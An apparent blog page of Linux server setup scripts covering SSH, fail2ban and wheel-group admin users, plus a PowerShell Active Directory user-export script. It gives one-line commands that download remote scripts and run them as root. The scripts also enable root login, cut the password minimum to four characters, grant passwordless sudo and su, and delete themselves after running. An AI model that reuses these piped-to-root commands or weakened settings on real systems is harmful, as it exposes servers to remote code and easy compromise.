sudo bash -c  "$(curl -fL https://ghfast.top/https://raw.githubusercontent.com/Excalibra/scripts/refs/heads/main/d-shell/lite_ssh_n_ban.sh)"

Configuration Screenshot

One-Click Custom Admin User Creation for Linux

Features:

Custom username
Passwordless authentication for su, sudo, and wheel group members
Disables root remote login in sshd_config for enhanced security

Copy and paste the following command to execute the script.

GitHub source code: diy_add_wheel.sh

sudo bash -c "$(curl -fL https://ghfast.top/https://raw.githubusercontent.com/Excalibra/scripts/refs/heads/main/d-shell/diy_add_wheel.sh)"

Individual SSH and Fail2ban Configuration

One-click SSH configuration for SSH key authentication and simple password policy setup. (Restricts access to your IP only using AllowUsers.)

GitHub source code: simple_ssh.sh

sudo bash -c "$(curl -fL https://ghfast.top/https://raw.githubusercontent.com/Excalibra/scripts/main/d-shell/simple_ssh.sh)"

One-click Fail2ban installation, configuration, and service startup. (Allows updating public IP restrictions dynamically.)

GitHub source code: simple_ban.sh

sudo bash -c "$(curl -fL https://ghfast.top/https://raw.githubusercontent.com/Excalibra/scripts/main/d-shell/simple_ban.sh)"

Findings from Research

I found various useful tools for system self-checks, IP banning, antivirus, firewalls, and DDoS protection:

LinuxCheck: Self-check script (al0ne/LinuxCheck)
Graphical Firewall for Linux: soonxf/Firewalld-UI
IP Ban: Fail2ban
DDoS Protection for Linux: anti-ddos/Anti-DDOS
Antivirus for Linux: Shellpub, ClamAV

Raw source code parts:

lite_ssh_n_ban.sh

echo -e "Note: Execute this script using the 'sudo bash' command."

# Backup SSH server and client configuration files to the ssh.bak directory
mkdir -p /etc/bak/ssh && cp -p /etc/ssh/{ssh_config,sshd_config} /etc/bak/ssh

# Optimized method to filter connections with port 22
# This method of obtaining the IP has a risk of being mixed up due to SSH queue-jumping, so it's commented out
# get_my_ip=$(netstat -n|grep -i :22|awk '{print $5}'|cut -d":" -f1|sed -n '1p')
# get_my_ip_port=$(netstat -n|grep -i :22|awk '{print $5}'|sed -n '1p')
get_my_ip=$(who|awk '{print $5}'| cut -d '(' -f2 | cut -d ')' -f1|sed -n '1p')

# Edit, modify configuration permissions, and restart the service to apply changes
echo -e \
"
PubkeyAuthentication yes # Allow Public Key authentication
PermitRootLogin yes # Allow Root login
PasswordAuthentication no # Disable password authentication
ClientAliveInterval 30 # Client sends a heartbeat to the server every 30 seconds
ClientAliveCountMax 86400 # Server disconnects if the client is unresponsive for 86400 seconds
# AllowUsers *@$get_my_ip *@127.0.0.1 # Switching proxies immediately after login may interrupt SSH connections.
" \
>>/etc/ssh/sshd_config

# Grant necessary permissions, suppress errors with >/dev/null 2>&1
chmod 700 $HOME && chmod 700 ~/.ssh 
touch ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys >/dev/null 2>&1
systemctl restart sshd.service


#--------------- Simplify Password Requirements -----------------------

# Backup files
mkdir -p /etc/bak/pam.d/ && cp -p /etc/pam.d/system-auth  /etc/bak/pam.d/
# This works, but Linux systems may enforce a minimum of 8 characters; pam.d/system-auth has higher priority than login.defs
# One configures system modules, the other is auxiliary account login policies; they differ significantly.

echo -e "
# Add custom password policy: 3 retries, no special characters, case sensitivity, or minimum length (3 characters)
password\trequisite\tpam_pwquality.so\ttry_first_pass local_users_only retry=3
password\trequisite\tpam_pwquality.so\tauthtok_type= minlen=4 
password\trequisite\tpam_pwquality.so dcredit=0 ocredit=0 lcredit=0 ucredit=0
" >>/etc/pam.d/system-auth

#****************** Install and Configure fail2ban *****************************

echo -e "Installing fail2ban and its dependencies"
yum install epel-release -y && yum update -y
yum install fail2ban-firewalld fail2ban-systemd -y 
yum -y install git python3

# Backup original files
mkdir -p /etc/bak/fail2ban_conf/ && cp -p /etc/fail2ban/jail.conf /etc/bak/fail2ban_conf/

echo -e \
"
[DEFAULT]
ignoreip = 127.0.0.1 $get_my_ip
maxretry = 3 
findtime  = 10 
bantime = -1

[ssh-iptables] 
enabled = true
filter = sshd
action = iptables[name=SSH, port=22, protocol=tcp] 
logpath  = /var/log/secure
" > /etc/fail2ban/jail.local


echo -e "Adding to the daemon, enabling auto-start, and starting fail2ban \n"
systemctl enable fail2ban.service && systemctl start fail2ban.service

echo -e "----------------- Server Configuration Overview --------------------\n"
echo -e "\nSSH server key, login policy, heartbeat response, and IP range restrictions"
echo -e "Simplified password rules: Any case/symbols/numbers allowed, minimum 4 characters"
echo -e "fail2ban: Except for your IP ($get_my_ip), any IP with 3 failed attempts will be permanently banned.\n"
echo -e "All SSH server (Linux) configurations are now complete.\n"

#************ All configurations done, starting verbose ECHO *********************

echo -e "**** Point-to-Point Configuration Summary *****"
echo -e "SSH server configuration: vi /etc/ssh/sshd_config"
echo -e "Password policy configuration: vi /etc/pam.d/system-auth"
echo -e "Check banned IPs: fail2ban-client status ssh-iptables"
echo -e "Unban IP: fail2ban-client set ssh-iptables unbanip xxx.xxx.xxx.xxx \n"

echo -e 'Generate client key: ssh-keygen -t ed25519 -C "your@email.com"'
echo -e "Copy public key to server: ssh-copy-id -i ~/.ssh/id_ed25519.pub user@server"
echo -e "Client troubleshooting: rm -rf ~/.ssh/known_hosts ~/.ssh/known_hosts.old && cat ~/.ssh/ssh_config \n"

echo -e "------ Ban｜Key｜ Password ----\n"
echo -e "Ban IP has the highest priority; even with keys or passwords, access is denied."
echo -e "If keys are configured but not authorized, even with a password, login is denied."
echo -e "Most Linux hacks occur due to weak passwords, lack of one-to-one key authorization, and vulnerabilities in service programs."
echo -e "The most critical settings are IP restrictions and BAN IP policies."

rm -rf $0

diy_add_wheel.sh

# Script to create a custom user with administrator privileges on a Linux system
# This script is designed to make the process as smooth as setting up a user on a Windows PC.

echo -e "After setting up the root user, use this script to create a custom user with administrator privileges.\n"
echo -e "⭐︎ A personalized account with admin rights, as smooth as using a Windows PC! ⭐︎\n"

#****************** Create a User in the Wheel Group *****************

# Prompt the user to enter a username and create a user in the 'wheel' group (admin group in CentOS/RHEL)
read -p "Enter the username: " user_name
useradd -g wheel $user_name

echo -e "\nUser '$user_name' has been created successfully.\n"

# Prompt the user to enter a password (displayed in plain text for verification)
echo -e "◉ Note: The password will be displayed in plain text for verification purposes.\n"
read -p "Enter the password: " pass_word

# Set the password for the new user
echo $pass_word | passwd --stdin $user_name

#************** Enable Wheel Group Privileges **************

# Allow the 'wheel' group to use 'sudo' without a password
# Step 1: Grant write permissions to the sudoers file
chmod u+w /etc/sudoers

# Step 2: Uncomment the line that allows the 'wheel' group to use sudo
sed -i 's/# %wheel/%wheel/g' /etc/sudoers

# Step 3: Add a rule to allow the new user to use 'sudo' without a password
echo "$user_name ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

# Step 4: Remove write permissions from the sudoers file for security
chmod u-w /etc/sudoers

# Step 5: Enable passwordless 'su' (switch user) for members of the 'wheel' group
sed -i 's/#a/a/g' /etc/pam.d/su

#********************** Additional Security Configurations *******************

# Copy the SSH authorized_keys file to the new user's home directory (if it exists)
# This allows the new user to use the same SSH keys as the root user
mkdir -p /home/$user_name/.ssh
cp -p ~/.ssh/authorized_keys /home/$user_name/.ssh/authorized_keys > /dev/null 2>&1

# Disable root login via SSH for better security
# Step 1: Remove any existing 'PermitRootLogin' line from the SSH config
sed -i '/^PermitRootLogin/d' /etc/ssh/sshd_config

# Step 2: Add 'PermitRootLogin no' to disable root login
echo "PermitRootLogin no" >> /etc/ssh/sshd_config

# Reload the SSH service to apply the changes
systemctl reload sshd.service

# Notify the user that the configuration is complete
echo -e "\nRoot SSH login has been disabled (PermitRootLogin no). All configurations are complete."
echo -e "You can now log in using the new user '$user_name' via SSH.\n"

# Local debugging command (for testing purposes)
# scp ~/Desktop/diy_add_wheel.sh root@10x.xxx.xxx.xx5:$HOMEPATH

# Self-delete the script after execution
rm -rf $0

A Simple Script for Exporting Domain Accounts (Requires Regex)

Excalibra — Thu, 06 Feb 2025 04:03:07 +0000

Introduction:

A straightforward script for exporting domain accounts.

https://github.com/Excalibra/scripts/blob/main/d-pwsh-dc/Domain%20Users%20Export.ps1

If the company needs to verify the total number of personnel who are involved in production (production staff) monthly, the domain accounts of relevant production staff are exported. This allows the company to verify and cross-check the number of production staff with HR records, ensuring accurate reporting and management oversight. Essentially, it helps in maintaining an up-to-date and accurate count of employees directly involved in production activities.

Implementation:

Export specified organizational units for summary statistics, excluding system-built users.

# Export file path
$outputFile = "C:\Users\Administrator\Desktop\DomainUsersList.txt"

# Clear or create the export file
Out-File -FilePath $outputFile # -Encoding UTF8 -Force

# Import Active Directory module
Import-Module ActiveDirectory

# Set DistinguishedName for organizational units
$ous = @(
    "OU=Production Team,DC=CSXZX,DC=com",
    "OU=Training,DC=CSXZX,DC=com",
    "OU=Temporary Permissions,DC=CSXZX,DC=com"
)

foreach ($ou in $ous) {
    # Get all users in the organizational unit
    $users = Get-ADUser -Filter * -SearchBase $ou -Properties Name

    # Write user names to the file
    if ($users) {
        $ouName = (Get-ADOrganizationalUnit -Identity $ou).Name  # Get OU name
        Add-Content -Path $outputFile -Value "Organizational Unit: $ouName"
        foreach ($user in $users) {
            Add-Content -Path $outputFile -Value $user.Name  # Keep only user names
        }
        Add-Content -Path $outputFile -Value "`r`n"  # Add line separator
    } else {
        Write-Host "No users found in the organizational unit $ouName."
    }
}

Write-Host "All user names from specified organizational units have been exported to $outputFile"

# Pause for 5 seconds
Start-Sleep -Seconds 5

Then open VSCode and use regular expressions:

Match all lines with "Organizational Unit" and subsequent characters: ^.*Organizational Unit.*$
Match all lines with "Production" and subsequent characters: ^.*Production.*$
Match all lines with "Test" and subsequent characters: ^.*Test.*$
Remove all blank lines: ^\s*\n